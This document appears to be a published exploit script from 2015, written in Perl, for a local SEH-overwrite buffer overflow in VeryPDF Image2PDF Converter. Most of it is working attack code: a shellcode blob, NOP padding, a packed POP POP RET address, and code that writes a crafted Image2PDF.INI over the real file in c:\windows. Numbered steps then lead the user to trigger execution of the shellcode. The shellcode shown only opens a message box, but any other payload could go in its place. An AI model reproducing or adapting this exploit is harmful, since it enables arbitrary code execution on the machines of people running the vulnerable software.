VeryPDF Image2PDF Converter – Local Buffer Overflow (SEH)
#******************************************************************************************************************************************** # # Exploit Title: VeryPDF Image2PDF Converter SEH Buffer Overflow # Date: 10-7-2015 # Software Link: http://www.verypdf.com/tif2pdf/img2pdf.exe # Exploit Author: Robbie Corley # Platform Tested: Windows 7 x64 # Contact: c0d3rc0rl3y@gmail.com # Website: # CVE: # Category: Local Exploit # # Description: # The title parameter contained within the c:\windows\Image2PDF.INI is vulnerable to a buffer overflow. # This can be exploited using SEH overwrite. # # Instructions: # 1. Run this sploit as-is. This will generate the new .ini file and place it in c:\windows, overwriting the existing file # 2. Run the Image2PDF program, hit [try], file --> add files # 3. Open any .tif file. Here's the location of one that comes with the installation: C:\Program Files (x86)\VeryPDF Image2PDF v3.2\trial.tif # 4. Hit 'Make PDF', type in anything for the name of the pdf-to-be, and be greeted with your executed shellcode ;) #********************************************************************************************************************************************** #standard messagebox shellcode. $shellcode = "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42". "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03". "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b". "\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e". "\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c". "\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74". "\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe". "\x49\x0b\x31\xc0\x51\x50\xff\xd7"; $padding="\x90" x 2985; $seh=pack('V',0x6E4B3045); #STANDARD POP POP RET $morepadding="\x90" x 1096; open(myfile,'>c:\\windows\\Image2PDF.INI'); #generate the dummy DWF file #.ini file header & shellcode print myfile "[SaveMode] m_iMakePDFMode=0 m_iSaveMode=0 m_szFilenameORPath= m_iDestinationMode=0 m_bAscFilename=0 m_strFileNumber=0001 [BaseSettingDlg] m_bCheckDespeckle=0 m_bCheckSkewCorrect=0 m_bCheckView=0 m_szDPI=default m_bCheckBWImage=1 [SetPDFInfo] m_szAuthor= m_szSubject= m_szTitle=".$padding."\xEB\x06\x90\x90".$seh.$shellcode.$morepadding; close (myfile); #close the file |